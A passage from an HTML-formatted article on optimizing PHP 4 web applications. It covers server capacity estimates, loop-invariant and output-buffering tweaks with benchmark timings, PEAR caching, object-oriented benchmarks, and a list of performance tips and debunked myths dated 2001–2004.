&lt;p&gt;From the above figures, we can calculate for a given desired response time,    how many simultaneous HTTP connections we can handle. Assuming two-way network    latencies of 0.5 seconds on the Internet (0.25s one way), we can predict:&lt;/p&gt; &lt;p align="center"&gt;&lt;img src="http://phplens.com/lens/php-book/opt/Image4.gif" width="557" height="343"&gt;&lt;/p&gt; &lt;p&gt;As our client wanted a maximum response time of 5 seconds, the server can handle    up to 34 simultaneous connections per second. This works out to a peak capacity    of 34/5 = 6.8 page views per second. &lt;/p&gt; &lt;p&gt;To get the maximum number of page views a day that the server can handle, multiply    the peak capacity per second by 50,000 (this technique is suggested by the webmasters    at pair.com, a large web hosting company), to give 340,000 page views a day.&lt;/p&gt; &lt;b&gt;  &lt;p&gt;Code Optimizations&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;The patient reader who is still wondering why so much emphasis is given to    discussing non-PHP issues is reminded that PHP is a fast language, and many    of the likely bottlenecks causing slow speeds lie outside PHP.&lt;/p&gt; &lt;p&gt;Most PHP scripts are simple. They involve reading some session information,    loading some data from a content management system or database, formatting the    appropriate HTML and echoing the results to the HTTP client. Assuming that a    typical PHP script completes in 0.1 seconds and the Internet latency is 0.2    seconds, only 33% of the 0.3 seconds response time that the HTTP client sees    is actual PHP computation. So if you improve a script's speed by 20%, the HTTP    client will see response times drop to 0.28 seconds, which is an insignificant    improvement. Of course the server can probably handle 20% more requests for    the same page, so scalability has improved.&lt;/p&gt; &lt;p&gt;The above example does not mean we should throw our hands up and give up. It    means that we should not feel proud tweaking the last 1% of speed from our code,    but we should spend our time optimizing worthwhile areas of our code to get    higher returns.&lt;/p&gt; &lt;b&gt;  &lt;p&gt;High Return Code Optimizations&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;The places where such high returns are achievable are in the while and for    loops that litter our code, where each slowdown in the code is magnified by    the number of times we iterate over them. The best way of understanding what    can be optimized is to use a few examples:&lt;/p&gt; &lt;b&gt;  &lt;p&gt;Example 1&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;Here is one simple example that prints an array:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;for ($j=0; $j&amp;lt;sizeof($arr); $j++) &lt;/font&gt;&lt;br&gt;       &lt;font size="2"&gt;echo $arr[$j]."&amp;lt;br&gt;";&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;This can be substantially speeded up by changing the code to:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;for ($j=0, $max = sizeof($arr), $s = ''; $j&amp;lt;$max; $j++)&lt;br&gt;     &lt;/font&gt;&lt;font size="2"&gt;$s .= $arr[$j]."&amp;lt;br&gt;";&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;echo $s;&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;First we need to understand that the expression &lt;i&gt;$j&amp;lt;sizeof($arr)&lt;/i&gt; is    evaluated within the loop multiple times. As sizeof($arr) is actually a constant    (invariant), we move the cache the sizeof($arr) in the $max variable. In technical    terms, this is called loop invariant optimization.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;            &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;The second issue is that in PHP 4, echoing multiple times is slower than storing                everything in a string and echoing it in one call. This is because                &lt;i&gt;echo&lt;/i&gt; is an expensive operation that could involve sending                TCP/IP packets to a HTTP client. Of course accumulating the string                in $s has some scalability issues as it will use up more memory,                so you can see a trade-off is involved here.&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;An alternate way of speeding the above code would be to use output buffering.    This will accumulate the output string internally, and send the output in one    shot at the end of the script. This reduces networking overhead substantially    at the cost of more memory and an increase in latency. In some of my code consisting    entirely of echo statements, performance improvements of 15% have been observed.  &lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;ob_start();&lt;br&gt;   for ($j=0, $max = sizeof($arr), $s = ''; $j&amp;lt;$max; $j++)&lt;/font&gt;&lt;br&gt;      &lt;font size="2"&gt;echo $arr[$j]."&amp;lt;br&gt;";&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;Note that output buffering with ob_start() can be used as a global optimization    for all PHP scripts. In long-running scripts, you will also want to flush the    output buffer periodically so that some feedback is sent to the HTTP client.    This can be done with ob_end_flush(). This function also turns off output buffering,    so you might want to call ob_start() again immediately after the flush.&lt;/p&gt; &lt;b&gt;&lt;/b&gt;  &lt;p&gt;In summary, this example has shown us how to optimize loop invariants and how    to use output buffering to speed up our code.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Example 2&lt;/b&gt;&lt;/p&gt; &lt;p&gt;In the following code, we iterate through a PEAR DB recordset, using a special    formatting function to format a row, and then we echo the results. This time,    I benchmarked the execution time at 10.2 ms (this excludes the database connection    and SQL execution time):&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;function FormatRow(&amp;amp;$recordSet)&lt;br&gt;   {&lt;br&gt;     $arr = $recordSet-&gt;fetchRow();&lt;br&gt;     return '&amp;lt;b&gt;'.$arr[0].'&amp;lt;/b&gt;&amp;lt;i&gt;'.$arr[1].'&amp;lt;/i&gt;';&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;for ($j = 0; $j &amp;lt; $rs-&gt;numRows(); $j++) {&lt;br&gt;      print FormatRow($rs);&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;From example 1, we learnt that we can optimize the code by changing the code    to the following (execution time: 8.7 ms):&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;function FormatRow(&amp;amp;$recordSet)&lt;br&gt;   {&lt;br&gt;     $arr = $recordSet-&gt;fetchRow();&lt;br&gt;     return '&amp;lt;b&gt;'.$arr[0].'&amp;lt;/b&gt;&amp;lt;i&gt;'.$arr[1].'&amp;lt;/i&gt;';&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;b&gt; &lt;p&gt;&lt;font size="2"&gt;ob_start();&lt;/font&gt;&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;&lt;font size="2"&gt;for ($j = 0, &lt;b&gt;$max = $rs-&gt;numRows()&lt;/b&gt;; $j &amp;lt; &lt;b&gt;$max&lt;/b&gt;;    $j++) {&lt;br&gt;      print FormatRow($rs);&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;My benchmarks showed me that the use of $max contributed 0.5 ms and ob_start    contributed 1 ms to the 1.5 ms speedup.&lt;/p&gt;             &lt;p&gt;However by changing the looping algorithm we can simplify and speed up the                code. In this case, execution time is reduced to 8.5 ms:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;function FormatRow($arr)&lt;br&gt;   {&lt;br&gt;     return '&amp;lt;b&gt;'.$arr[0].'&amp;lt;/b&gt;&amp;lt;i&gt;'.$arr[1].&amp;lt;/i&gt;';&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;b&gt; &lt;p&gt;&lt;font size="2"&gt;ob_start();&lt;/font&gt;&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;&lt;font size="2"&gt;while ($arr = $rs-&gt;fetchRow()) {&lt;br&gt;     print FormatRow($arr);&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;One last optimization is possible here. We can remove the overhead of the function    call (potentially sacrificing maintainability for speed) to shave off another    0.1 milliseconds (execution time: 8.4 ms):&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;ob_start();&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;while ($arr = $rs-&gt;fetchRow()) {&lt;br&gt;      print '&amp;lt;b&gt;'.$arr[0].'&amp;lt;/b&gt;&amp;lt;i&gt;'.$arr[1].'&amp;lt;/i&gt;';&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;By switching to PEAR Cache, execution time dropped again to 3.5 ms for cached    data:&lt;/p&gt; &lt;/font&gt;&lt;font size="1" face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;&lt;font size="2"&gt;require_once("Cache/Output.php");&lt;/font&gt;&lt;/p&gt; &lt;b&gt; &lt;p&gt;&lt;font size="2"&gt;ob_start();&lt;/font&gt;&lt;/p&gt; &lt;/b&gt;  &lt;p&gt;&lt;font size="2"&gt;$cache = new Cache_Output("file", array("cache_dir" =&gt; "cache/")    );&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;$t = getmicrotime();&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;if ($contents = $cache-&gt;start(md5("this is a unique kexy!")))    {&lt;br&gt;     print "&amp;lt;p&gt;Cache Hit&amp;lt;/p&gt;";&lt;br&gt;     print $contents;&lt;br&gt;   } else {&lt;br&gt;     print "&amp;lt;p&gt;Cache Miss&amp;lt;/p&gt;";&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;##&lt;br&gt;   ## Code to connect and query database omitted&lt;br&gt;   ##&lt;/font&gt;&lt;/p&gt; &lt;b&gt; &lt;p&gt; &lt;font size="2"&gt;  while ($arr = $rs-&gt;fetchRow()) {&lt;br&gt;       print '&amp;lt;b&gt;'.$arr[0].'&amp;lt;/b&gt;&amp;lt;i&gt;'.$arr[1].'&amp;lt;/i&gt;';&lt;br&gt;     }&lt;/font&gt;&lt;/p&gt; &lt;/b&gt;  &lt;p&gt; &lt;font size="2"&gt;  print $cache-&gt;end(100);&lt;br&gt;   }&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font size="2"&gt;print (getmicrotime()-$t);&lt;/font&gt;&lt;/p&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;p&gt;We summarize the optimization methods below:&lt;/p&gt; &lt;/font&gt;  &lt;table width="640" border="1" cellpadding="7" cellspacing="1"&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;/b&gt;&lt;p align="center"&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;ExecutionTime (ms)&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;/b&gt;&lt;p&gt;&lt;b&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Optimization Method&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;9.9&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Initial code, no optimizations, excluding database connection and SQL execution times.&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;9.2&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Using ob_start&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;8.7&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Optimizing loop invariants ($max) and using ob_start&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;8.5&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Changing from for-loop to while-loop, and passing an array to FormatRow()and using ob_start&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;8.4&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Removing FormatRow()and using ob_start&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;&lt;td valign="top" width="16%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p align="center"&gt;&lt;font face="Courier New,Courier,Monaco"&gt;3.5&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;td valign="top" width="84%"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Using PEAR Cache and using ob_start&lt;/font&gt;&lt;/p&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;From the above figures, you can see that biggest speed improvements are derived    not from tweaking the code, but by simple global optimizations such as ob_start(),    or using radically different algorithms such as HTML caching.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;&lt;/font&gt; &lt;table width="90%" align="center" bgcolor="#cccccc" border="1" bordercolor="#333333" cellpadding="0" cellspacing="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;       &lt;p&gt;Optimizing Object-oriented Programming&lt;/p&gt;       &lt;/b&gt;        &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;In March 2001, I conducted some informal benchmarks with classes on PHP          4.0.4pl1, and I derived some advice from the results. The three main points          are:&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;1. Initialise all variables before use. &lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;2. Dereference all global/property variables that are frequently used          in a method and put the values in local variables if you plan to access          the value more than twice.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;3. Try placing frequently used methods in the derived classes. &lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Warning: as PHP is going through a continuous improvement process, things          might change in the future.&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;b&gt;        &lt;p&gt;More Details&lt;/p&gt;       &lt;/b&gt;        &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;I have found that calling object methods (functions defined in a class)          are about twice as slow as a normal function calls. To me that's quite          acceptable and comparable to other OOP languages. &lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Inside a method (the following ratios are approximate only): &lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;ol type="a"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;        &lt;li&gt;Incrementing a local variable in a method is the fastest. Nearly the            same as calling a local variable in a function.&lt;/li&gt;         &lt;li&gt;Incrementing a global variable is 2 times slow than a local var.&lt;/li&gt;         &lt;li&gt;Incrementing a object property (eg. $this-&gt;prop++) is 3 times slower            than a local variable. &lt;/li&gt;         &lt;li&gt;Incrementing an undefined local variable is 9-10 times slower than            a pre-initialized one.&lt;/li&gt;         &lt;li&gt;Just declaring a global variable without using it in a function also            slows things down (by about the same amount as incrementing a local            var). PHP probably does a check to see if the global exists.&lt;/li&gt;         &lt;li&gt;Method invocation appears to be independent of the number of methods            defined in the class because I added 10 more methods to the test class            (before and after the test method) with no change in performance. &lt;/li&gt;         &lt;li&gt;Methods in derived classes run faster than ones defined in the base            class.&lt;/li&gt;         &lt;li&gt;A function call with one parameter and an empty function body takes            about the same time as doing 7-8 $localvar++ operations. A similar method            call is of course about 15 $localvar++ operations.            &lt;p&gt;Update: 11 July 2004:           The above test was on PHP 4.0.4, about 3 years ago.            I tested this again in PHP4.3.3 and  calling a function            now takes about 20 $localvar++           operations, and calling a method takes about 30 $localvar++ operations. This could be            because $localvar++ runs faster now, or functions are slower.       &lt;/p&gt;&lt;/li&gt;&lt;/font&gt;&lt;/ol&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;p&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;      &lt;/font&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;font face="Courier New,Courier,Monaco"&gt; &lt;p&gt; &lt;/p&gt; &lt;b&gt;&lt;/b&gt;&lt;b&gt;              &lt;p&gt;Summary of Tweaks&lt;/p&gt;             &lt;/b&gt;&lt;/font&gt; &lt;ol type="a"&gt;   &lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt; &lt;/b&gt;                &lt;li&gt;The more you understand the software you are using (Apache, PHP, IIS, your      database) and the deeper your knowledge of the operating system, networking      and server hardware, the better you can perform global optimizations on your      code and your system.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;For PHP scripts, the most expensive bottleneck is normally the CPU. Twin      CPUs are probably more useful than two Gigabytes of RAM.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Compile PHP with the "configure –-enable-inline-optimization" option to      generate the fastest possible PHP executable.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Tune your database and index the fields that are commonly used in your SQL      WHERE criteria. &lt;a href="http://adodb.sourceforge.net/"&gt;ADOdb&lt;/a&gt;, the very      popular database abstraction library, provides a &lt;a href="http://phplens.com/lens/adodb/docs-perf.htm"&gt;SQL      tuning mode&lt;/a&gt;, where you can view your invalid, expensive and suspicious      SQL, their execution plans and in which PHP script the SQL was executed.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Use HTML caching if you have data that rarely changes. Even if the data      changes every minute, caching can help provided the data is synchronized with      the cache. Depending on your code complexity, it can improve your performance      by a factor of 10.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Benchmark your most complex code early (or at least a prototype), so you      get a feel of the expected performance before it is too late to fix. Try to      use realistic amounts of test data to ensure that it scales properly.      &lt;p&gt;     Updated 11 July 2004: To benchmark with an execution profile of all function calls, you can try the &lt;a href="http://xdebug.org/"&gt;xdebug extension&lt;/a&gt;. For a brief tutorial of      how i use xdebug, see &lt;a href="http://phplens.com/phpeverywhere/node/view/52"&gt;squeezing code with xdebug&lt;/a&gt;. There are commercial products to do this also, eg.     &lt;a href="http://zend.com/store/products/zend-studio.php"&gt;Zend Studio&lt;/a&gt;.                 &lt;/p&gt;&lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Consider using a opcode cache. This gives a speedup of between 10-200%,      depending on the complexity of your code. Make sure you do some stress tests      before you install a cache because some are more reliable than others.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Use ob_start() at the beginning of your code. This gives you a 5-15% boost      in speed for free on Apache. You can also use gzip compression for extra fast      downloads (this requires spare CPU cycles).                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Consider installing Zend Optimizer. This is free and does some optimizations,      but be warned that some scripts actually slow down when Zend Optimizer is      installed. The consensus is that Zend Optimizer is good when your code has      lots of loops. Today many opcode accelerators have similar features (added      this sentence 21 Oct 2003).                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Optimize your loops first. Move loop invariants (constants) outside the loop.&lt;br&gt;                 &lt;br&gt;   &lt;/li&gt;               &lt;li&gt;Use the array and string functions where possible. They are faster than      writing equivalent code in PHP.&lt;/li&gt;               &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;  &lt;li&gt;The fastest way to concatenate multiple small strings into one large string is to create an output buffer (ob_start) and to echo into the buffer. At the end get the contents using ob_get_contents. This works because memory allocation is normally the killer in string concatenation, and output buffering allocates a large 40K initial buffer that grows in 10K chunks. Added 22 June 2004. &lt;/li&gt;               &lt;/font&gt;&lt;/p&gt;&lt;p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;li&gt;&lt;font face="Courier New,Courier,Monaco"&gt;Pass objects and arrays using references      in functions.&lt;/font&gt; Return objects and arrays as references where possible      also. If this is a short script, and code maintenance is not an issue, you      can consider using global variables to hold the objects or arrays.                  &lt;/li&gt;&lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;p&gt;               &lt;font face="Courier New,Courier,Monaco"&gt; &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;    &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;                &lt;/font&gt;&lt;/p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;li&gt;If you have many PHP scripts that use session variables, consider      recompiling PHP using the shared memory module for sessions, or use a RAM Disk. Enable this with      "configure -–with-mm" then re-compile PHP, and set session.save_handler=mm      in php.ini.                 &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;For searching for substrings, the fastest code is using strpos(), followed      by preg_match() and lastly ereg(). Similarly, str_replace() is faster than      preg_replace(), which is faster than ereg_replace().                 &lt;p&gt;                                               &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Added 11 July 2004: Order large switch statements with most frequently occuring cases on top. If some               of the most common cases are in the default section, consider explicitly defining these               cases at the top of the switch statement.               &lt;p&gt;                                 &lt;/p&gt;&lt;/li&gt;&lt;li&gt; For processing XML, parsing with regular expressions is significantly faster than using DOM or SAX.                 &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Unset() variables that are not used anymore to reduce memory usage. This      is mostly useful for resources and large arrays.&lt;br&gt;                 &lt;br&gt;                               &lt;/li&gt;               &lt;li&gt;For classes with deep hierarchies, functions defined in derived classes      (child classes) are invoked faster than those defined in base class (parent      class). Consider replicating the most frequently used code in the base class      in the derived classes too.                  &lt;p&gt;                &lt;/p&gt;&lt;/li&gt;&lt;li&gt;Consider writing your code as a PHP extension or a Java class or a COM object      if your need that extra bit of speed. Be careful of the overhead of marshalling      data between COM and Java.&lt;/li&gt;               &lt;/font&gt; &lt;br&gt;&lt;/font&gt;&lt;p&gt;&lt;/p&gt;&lt;/ol&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;br&gt;                                                          &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;&lt;font face="Courier New, Courier, mono"&gt;Useless Optimizations&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;Some optimizations are useful. Others are a waste of time - sometimes the improvement is neglible, and sometimes the PHP internals change, rendering the tweak obsolete.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;Here are some common PHP legends:&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;a. echo is faster than print&lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;Echo is supposed to be faster because it doesn't return a value while print does. From my benchmarks with PHP 4.3, the difference is neglible. And under some situations, print is faster than echo (when ob_start is enabled).&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt;b. strip off comments to speed up code&lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;If you use an opcode cache, comments are already ignored. This is a myth from PHP3 days, when each line of PHP was interpreted in run-time.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;&lt;i&gt; c. &lt;b&gt;'var='.$var&lt;/b&gt; is faster than &lt;b&gt;"var=$var"&lt;/b&gt;&lt;/i&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;              &lt;/font&gt;&lt;p&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;font face="Courier New, Courier, mono"&gt;This used to be true in PHP 4.2 and earlier. This was fixed in PHP 4.3. Note (22 June 2004): apparently the 4.3 fix reduced the overhead, but not completely. However I find the performance difference to be negligible.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt; &lt;font face="Courier New,Courier,Monaco"&gt;                         &lt;font face="Courier New,Courier,Monaco"&gt; &lt;font face="Courier New,Courier,Monaco"&gt;  &lt;/font&gt; &lt;table width="90%" align="center" bgcolor="#cccccc" border="1" cellpadding="0" cellspacing="0"&gt;   &lt;tbody&gt;&lt;tr&gt;     &lt;td&gt;&lt;font face="Courier New,Courier,Monaco"&gt;&lt;b&gt;       &lt;p&gt;Do References Speed Your Code?&lt;/p&gt;       &lt;/b&gt;                    &lt;p&gt;References do not provide any performance benefits for strings,                      integers and other basic data types. For example, consider                      the following code:&lt;/p&gt;       &lt;pre&gt;&lt;font size="2"&gt;function TestRef(&amp;amp;$a) {     $b = $a;     $c = $a; } $one = 1; ProcessArrayRef($one);&lt;/font&gt; &lt;/pre&gt;       &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;        &lt;p&gt;And the same code without references:&lt;/p&gt;       &lt;/font&gt;                  &lt;pre&gt;&lt;font size="2"&gt;function TestNoRef($a) {     $b = $a;     $c = $a; } $one = 1; ProcessArrayNoRef($one);&lt;/font&gt; &lt;/pre&gt;         &lt;font size="1" face="Courier New,Courier,Monaco"&gt;        &lt;/font&gt;&lt;font face="Courier New,Courier,Monaco"&gt;       &lt;p&gt;PHP does not actually create duplicate variables when "pass by value"          is used, but uses high speed reference counting internally. So in TestRef(),          $b and $c take longer to set because the references have to be tracked,          while in TestNoRef(), $b and $c just point to the original value of $a,          and the reference counter is incremented. So 